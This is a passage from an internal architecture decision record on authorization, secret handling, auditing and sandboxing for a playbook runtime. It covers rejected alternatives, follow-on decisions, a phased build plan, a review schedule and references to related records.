- The break-glass alert threshold. If break-glass becomes routine, the alert becomes noise and gets ignored. The on-call rotation (ADR-024) owns investigating each incident; repeated use is a signal to fix the underlying authz gap.
- The
role:operator,role:secret-reader,role:auditorrole names. These are new nouns in the ai-research auth system. Adding a fifth role is an ADR amendment.
10. Alternatives considered
No authz — "if you have a session, you can run anything". Rejected. This is the pre-ADR state: every playbook is as destructive as its most destructive step for every user. Unsafe at any scale.
Kubernetes-style RBAC. Rejected for Phase 1-5. Full RBAC (roles, bindings, resources, verbs, namespaces) is the right answer at dozens of teams and hundreds of playbooks. We have ≤ 5 users and a nascent catalogue. §2's front-matter fields are expressive enough for the cases we actually have; migration to RBAC is a well-understood schema move (ADR-072 when triggered).
Per-user OS account running the shell. Rejected. The idea:
target: localfor@aliceruns as OS userplaybook_alice, so filesystem permissions are the authz primitive. Problems: ai-research runs in a container so host users are not meaningful; even if they were, UID-based isolation does not contain the shared /tmp, Postgres socket, or runtime env vars. Complex, brittle, orthogonal to the actual risks.Deferred entirely — "don't let untrusted people near it". Rejected. Does not scale past the first mistake: a trusted user is the "compromised user" threat once their laptop is borrowed, session hijacked, or Claude Code agent misfires.
Browser-side secret handling. Rejected. Secrets in the browser are secrets in the JS heap, screenshots, extensions, or a paste-clipboard accident. The server is the only reviewable access-pattern surface.
Single global "destructive?" toggle per playbook. Rejected. Most playbooks have 90% safe steps and one destructive step. A global toggle either over-approves or under-approves. Per-step
destructive: true+ implicit approval is surgical.Manual approval for every step. Rejected. Approval fatigue trains operators to click through without reading. Implicit approval only for destructive keeps signal-to-noise high.
External SIEM as primary audit surface. Rejected for Phase 5. A SIEM is right when volume exceeds Postgres ad-hoc query capacity or compliance requires off-host copies. We are not there; a future ADR defines the SIEM export.
Forbid
target: localentirely. Considered. Release flows and onboarding flows legitimately need to run code on the runtime host (git operations on a cloned repo, local diff inspection).allow_local_execution: true+role:operatoris the compromise: per-playbook opt-in, per-invoker opt-in, both required.Automatic KEK rotation on a timer. Rejected for Phase 5 — automatic rotation without a mature deploy system reliably ships a service whose decryption path silently breaks under partial rotation. Manual, operator-initiated until key management is outsourced.
11. Open questions / follow-on ADRs
ADR-071: Playbook provenance (signing + supply chain). Cryptographic signing of playbook YAML so a playbook reaching the runtime is verifiably the one reviewed on a PR. Today we trust the filesystem; tenable only while playbooks live in one repo with protected-branch rules. Triggers: (a) any external-playbook-source ADR, (b) first customer-visible deployment.
ADR-072: Fine-grained authz (Casbin / OPA). If §2's
allowed_personas:+allowed_users:proves insufficient — duplicated allow-lists across many playbooks, or cross-playbook rules ("no production runs during deploy windows") — we adopt a policy engine. Trigger: ≥ 20 playbooks withallowed_users:duplicated ≥ 3-ways, OR any cross-playbook policy requirement.Secret-reveal notifications. §4.1 audits reveals. Finer-grained notification (a Slack DM to the secret's creator on every reveal) is an obvious next step; the audit table + metric + alert infrastructure is already in place.
Multi-tenant runtime. If ai-research grows to host playbooks for external customers,
persona:is a gyrum concept, not a customer concept; a per-tenant authz layer stacks on top of this ADR. Out of scope; named for tracking.Container sandbox escape hardening. If §3.3 sees real escape attempts or CVE-driven concern, upgrade to firecracker microVMs or similar. The step contract stays; the sandbox implementation swaps.
12. Phased build plan
Aligned to ADR-068's Phase 5 ("Security hardening per ADR-069").
| Step | Where | What |
|---|---|---|
| 1 | dark-factory | This ADR merges. No code change. |
| 2 | ai-research | runtime/security/ package (authz.go, target.go, rate.go); default-restrictive authz on every POST /playbook-runs. |
| 3 | ai-research | playbook_audit table + hash-chain writer; nightly CI integrity check. |
| 4 | ai-research | playbook_secrets + KMSProvider port + file-KMS adapter; prompt_secret wired to vault. |
| 5 | ai-research | destructive: true + implicit approval synthesis; dry-run (?dry_run=true); destructive-before-first-run enforcement. |
| 6 | ai-research | Per-user concurrency + per-playbook rate caps; break_glass handler; metrics + alert wired. |
| 7 | ai-research | GET /api/v1/playbook-audit + role:auditor. |
| 8 | ai-frontend | UI: authz-denied messaging, approval dialogs, dry-run "simulate" button, audit-log viewer, secret vault viewer (ids only). |
| 9 | dark-factory | Runbooks: KMS rotation, container image allow-list, break-glass investigation (dogfooded as playbooks themselves). |
| 10 | ai-research | ADR-068 Phase 6 unblocked — migrate existing runbooks/experiments to carry runtime: with proper authz + destructive annotations. |
Steps 1-4 are in-scope for this ADR's shipping cohort. Steps 5-9 are follow-ups. Step 10 gates on 5-9.
13. Review cadence (for this ADR)
Re-review every 90 days (next: 2026-07-22) against:
- Authz denial volume — is
authz_deniedclimbing (allow-lists too tight) or flat (unused)? - Break-glass frequency — non-zero per 7-day window is reviewed; persistent non-zero is an authz-rule bug.
- Stdout redaction hit rate — non-trivial for a single secret means a playbook is leaking; investigate.
- Approval fatigue — destructive approvals per on-call-day.
20 means we are over-annotating or mis-shaping playbooks.
- Rate-limit hits — which playbooks, did operators understand why?
- KMS key rotation — done on schedule? If not, why not?
- Audit hash chain integrity — nightly CI; failure is P1.
- Follow-on ADR triggers — ADR-072 threshold approached? ADR-071 provenance wanted?
Stale flag on the Owner dashboard once last_reviewed passes 90 days.
References
- ADR-068 — playbook runtime architecture; this ADR closes the security fences ADR-068 explicitly deferred.
- ADR-067 — playbooks unified primitive; this ADR extends the
front-matter schema with
allowed_personas,allowed_users,denied_users,allow_local_execution,idempotent,rate_limit. - ADR-065 — persona vocabulary (reused verbatim in
allowed_personas:). - ADR-064 — gyrum-catalog + hex arch; SSH Executor port is the
target: host:Xenforcement point; catalog's per-host ACL backs §3.2. - ADR-060 — catalog-driven infrastructure (host alias resolution).
- ADR-053 — frontend observability; audit metrics surface in the
same dashboards; client-side authz-denied errors flow through
/client-log. - ADR-050 — bearer auth; short-lived token pattern reused for audit API.
- ADR-039 — audit hash chain;
playbook_audit.hash_self+ prune boundary follow ADR-039's discipline. - ADR-038 — audit sink; long-term home for playbook audit rows.
- ADR-036 — CSRF double-submit; every
POSTin this ADR sits behind it. - ADR-026 — security defense-in-depth; this ADR is one layer.
- ADR-024 / ADR-023 — runbook-per-alert + alerts-as-code; break-glass and KMS-rotation alarms both need runbooks.
- ADR-020 — shared infra vs per-product isolation; Postgres
backup/restore now covers
playbook_secrets(with KMS key in the DR plan) andplaybook_audit. - ADR-005 — cardinality labels; metric labels vetted against this.
Supersedes: none Superseded by: leave blank until a later ADR reverses this one